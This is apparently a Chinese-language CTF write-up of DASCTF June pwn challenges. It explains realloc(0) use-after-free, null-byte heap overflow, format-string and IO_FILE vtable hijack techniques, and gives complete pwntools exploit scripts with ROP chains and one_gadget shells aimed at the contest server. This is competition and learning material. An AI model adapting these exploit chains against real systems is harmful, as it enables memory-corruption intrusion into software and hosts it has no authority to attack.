感覺質量挺高的,有點昏迷,
Memory-Monster-IV
這個題我是真的服了,噁心了我一天時間,最後還是沒出,知道是要改got表,而且每次只能改一個字節,第一次改後變成ret之類的無用函數,我是不想說啥,沒復現出來,貼下作者的分析把:
http://taqini.space/2020/06/26/DASCTF-June-Memory-Monster-IV-200pt/
我感覺能學到的東西不太多,至少知識是很簡單的,就是你能不能調出來的問題。Orz。
oooooorder
這個題我其實一開始沒找到洞,Whali3n51師傅一眼看出來了,Orz,
具體就是realloc函數的洞,當size=0時,heap會free掉,這樣就形成了UAF了。知道這個洞,其實就很簡單了,個人感覺是第一天內最好做的.
沙盒的話,用到了setcontext裏的一段ROP,具體如下圖所示
如圖,如果我們能控制了rdi,也就可以控制所有寄存器。這裏,我用這段ROP調用read函數,然後輸入ORW的rop來讀flag
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('oooorder')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./oooorder')
else:
p = remote(ip,port)
def add(size,content):
p.sendlineafter("Your choice :\n","1")
p.sendlineafter("How much is the order?\n",str(size))
p.sendafter("Order notes:\n",content)
def edit(index,content):
p.sendlineafter("Your choice :\n","2")
p.sendlineafter("Index of order:\n",str(index))
p.sendafter("Order notes:\n",content)
def show():
p.sendlineafter("Your choice :\n","3")
def free(index):
p.sendlineafter("Your choice :\n","4")
p.sendlineafter("Index of order:\n",str(index))
for i in range(9):
add(0x100,"x")
add(0x10,"/bin/sh\x00")
add(0x10,'x')
add(0x10,'x')
for i in range(8):
free(i)
add(0,'x')
add(0,'x')
show()
p.recvuntil("[0]:")
main_arena=u64(p.recv(6).ljust(8,"\x00"))
print "main_arena=",hex(main_arena)
#--link addr
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=main_arena-(0x7f9cfbb15ca0-0x7f9cfb72a000)
free_hook=libcbase_addr+libc.symbols["__free_hook"]
setcontent_addr=libcbase_addr+libc.symbols["setcontext"]
pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
open_addr=libcbase_addr+libc.symbols['open']
read_addr=libcbase_addr+libc.symbols['read']
puts_addr=libcbase_addr+libc.symbols['puts']
p.sendlineafter("Your choice :\n","2")
p.sendlineafter("Index of order:\n","0")
free(9)
free(0)
free(1)
add(0x10,"\xa0")
show()
p.recvuntil("[0]:")
heap_addr=u64(p.recv(6).ljust(8,"\x00"))
orw=p64(pop_rdi_ret)+p64(heap_addr-0x400+15*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)+p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret) +p64(heap_addr)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(heap_addr)+p64(puts_addr)+"flag\x00"
#---payload
frame = SigreturnFrame()
frame.rdi = 0
frame.rax = 0
frame.rsi = heap_addr-0x400
frame.rcx = heap_addr-0x400
frame.rdx = 0x2000
frame.rsp = heap_addr-0x400
frame.rip = libcbase_addr+ libc.search(asm("syscall\nret")).next() #: syscall; ret;
payload = str(frame)
free(0)
free(10)
free(11)
add(0x100,orw)
add(0x10,p64(free_hook))
add(0x100,payload)
add(0x10,p64(setcontent_addr+0x35))
print "heap_addr=",hex(heap_addr)
#gdb.attach(p)
free(2)
p.sendline(orw)
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10028,0)
easyheap
這個題不太想說啥,空字節溢出,我當時做完oooooooorder後做的這個,我當時沒做出來,因爲我構造好了準備攻擊malloc_hook
的時候,我才發現尼瑪有沙盒!!吐了,真就全員沙盒。這樣的話就需要重新分配堆塊,使用tcache stash unlink
來在free_hook
附近加入0x7f頭,俗話說一鼓作氣再而衰,改需求一向是程序員大敵。當時我衰了,就沒在配出來…
借鑑了L.o.W的exp:
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('pwn2')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./pwn2')
else:
p = remote(ip,port)
def add(index,size,content):
p.sendlineafter("Your Choice: ","1")
p.sendlineafter("index>> ",str(index))
p.sendlineafter("size>> ",str(size))
p.sendafter("name>> ",content)
def free(index):
p.sendlineafter("Your Choice: ","2")
p.sendlineafter("index>> ",str(index))
def show(index):
p.sendlineafter("Your Choice: ","3")
p.sendlineafter("index>> ",str(index))
def edit(index,content):
p.sendlineafter("Your Choice: ","4")
p.sendlineafter("index>> ",str(index))
p.sendafter("name>> ",content)
for i in range(7):
add(0, 0x1f0, 'a')
free(0)
for i in range(7):
add(0, 0x160, 'a')
free(0)
for i in range(7):
add(0, 0x80, 'a')
free(0)
for i in range(7):
add(i, 0x68, 'a')
free(i)
for i in range(7):
add(0, 0xa0, 'a')
free(0)
for i in range(6):
add(0, 0x90, 'a')
free(0)
add(0, 0x1f8, 'a')
add(1, 0x1f0, 'a')
add(0x13, 0x10, 'a')
free(0)
add(0, 0xa0, 'a')
add(2, 0xa0, 'a')
free(0)
add(3, 0x98, 'a'*0x90 + p64(0x200))
free(1)
add(0, 0x160, 'a')
show(3)
p.recv(16)
main_arena=u64(p.recv(6).ljust(8,"\x00"))
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=main_arena-(0x7f6c63123ca0-0x7f6c62d38000)
free_hook=libcbase_addr+libc.symbols["__free_hook"]
open_addr=libcbase_addr+libc.symbols["open"]
read_addr=libcbase_addr+libc.symbols["read"]
puts_addr=libcbase_addr+libc.symbols["puts"]
setcontext=libcbase_addr+libc.symbols['setcontext']
pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
print "main_arena=",hex(main_arena)
add(1, 0x88, 'a')
free(0x13)
add(0x13, 0x1f0, 'a')
add(4, 0x1f8, 'a')
add(5, 0x10, 'a')
free(4)
add(4, 0x150, 'a')
add(6, 0x150, 'a')
free(0)
free(1)
add(0, 0x150, 'a')
add(1, 0x150, 'a')
show(3)
smallbin_fd = u64(p.recv(8))
add(7, 0x1f8, 'a')
add(8, 0x1f0, 'a')
add(9, 0x1f0, 'a')
free(7)
add(7, 0xa0, 'a')
add(10, 0xd0, 'a')
add(11, 0x68, 'a')
free(7)
free(11)
add(11, 0x68, 'a'*0x60+p64(0x200))
free(8)
add(7, 0x180, 'a')
add(8, 0x68, 'a')
frame = SigreturnFrame()
frame.rdi = 0
frame.rax = 0
frame.rsi = smallbin_fd-0x400
frame.rcx = smallbin_fd-0x400
frame.rdx = 0x2000
frame.rsp = smallbin_fd-0x400
frame.rip = libcbase_addr+ libc.search(asm("syscall\nret")).next() #: syscall; ret;
payload = str(frame)
add(12, 0x1f0, payload)
free(8)
payload = p64(smallbin_fd)+ p64(free_hook-0x20)
edit(3, payload)
add(0x11, 0x98, 'a')
edit(11, p64(free_hook-0x13))
add(13, 0x68, 'a')
payload = 'a'*3 + p64(setcontext+0x35)
add(14, 0x68, payload)
gdb.attach(p)
free(12)
orw=p64(pop_rdi_ret)+p64(smallbin_fd-0x400+15*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(smallbin_fd)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(smallbin_fd)+p64(puts_addr)+"flag\x00"
p.sendline(orw)
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10027,1)
springboard
這個簡單,格式化字符串,利用棧空間內指向棧的指針來更改返回地址實現shell。
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('springboard')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./springboard')
else:
p = remote(ip,port)
p.sendlineafter("input your name:","%11$p")
p.recvuntil("0x")
libc_addr=int(p.recv(12),16)-231
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=libc_addr-libc.symbols["__libc_start_main"]
system_addr=libcbase_addr+libc.symbols["system"]
binsh_addr=libcbase_addr+libc.search("/bin/sh\x00").next()
pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
one_ge=[0x4f2c5,0x4f322,0x10a38c]
shell_addr=libcbase_addr+one_ge[2]
syscall_2_4=int(str(hex(shell_addr))[6:10],16)
syscall_0_2=int(str(hex(shell_addr))[10:14],16)
p.sendlineafter("input your name:","%13$p") #---1
p.recvuntil("0x")
stack_addr=int(p.recv(12)[8:12],16)-0xe0
payload="%"+str(stack_addr)+"c%13$hn"
p.sendlineafter("input your name:",payload)#----2
payload="%"+str(syscall_0_2)+"c%39$hn"
p.sendlineafter("input your name:",payload)#----3
payload="%"+str(stack_addr+2)+"c%13$hn"
p.sendlineafter("input your name:",payload)#----4
payload="%"+str(syscall_2_4)+"c%39$hn"
p.sendlineafter("input your name:",payload)#----5
#gdb.attach(p,"b *$rebase(0x0956)")
p.sendlineafter("input your name:","a"*0x20)#----6
p.sendlineafter("input your name:","a"*0x20)#----7
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10029,0)
secret
更改IO_file的vtable,當時我看的時候走了彎路,我想的是利用libc空間的stack指針來更改stack的返回地址,不過由於是修改兩個字節,導致概率變低,如果是修改一個字節,概率是1/16,但修改兩個字節就是1/16^3,我恐怕爆破到比賽結束也把太行。更改vtable面臨的問題就是如何去繞過libc.2.29對vtable的檢測, 這裏有更改的是IO_stderr
,更改其vatble
爲_IO_str_jumps
然後修改_IO_str_jumps
的指針爲one_gadget就可以了。
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('secret')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./secret')
else:
p = remote(ip,port)
#gdb.attach(p)
p.recvuntil("secret:0x")
printf_addr=int(p.recv(12),16)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=printf_addr-libc.symbols["printf"]
stderr_addr=libcbase_addr+(0x7fbe49c97758-0x7fbe49ab2000)
p.sendafter("addr:\n",p64(stderr_addr))
print "stderr_addr=",hex(stderr_addr)
fake_std=int(str(hex(stderr_addr))[10:14],16)+0xec8
p.send(p16(fake_std))
one_ge=[0xe237f,0xe2383,0xe2386,0x106ef8]
p.send(p64(0)*2+p64(libcbase_addr+one_ge[2]))
p.sendline("cat flag >& 0")
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10030,1)
寫在最後
第一天跟Memory-Monster-IV槓上了,誰也沒服誰,結果就是我輸了,heap題其實都不太難,只不過麻煩一點,剩下沒復現的倆題應該也都是堆,當時也沒怎麼細看,就暫時不復現了,後天期末了,老子不學了!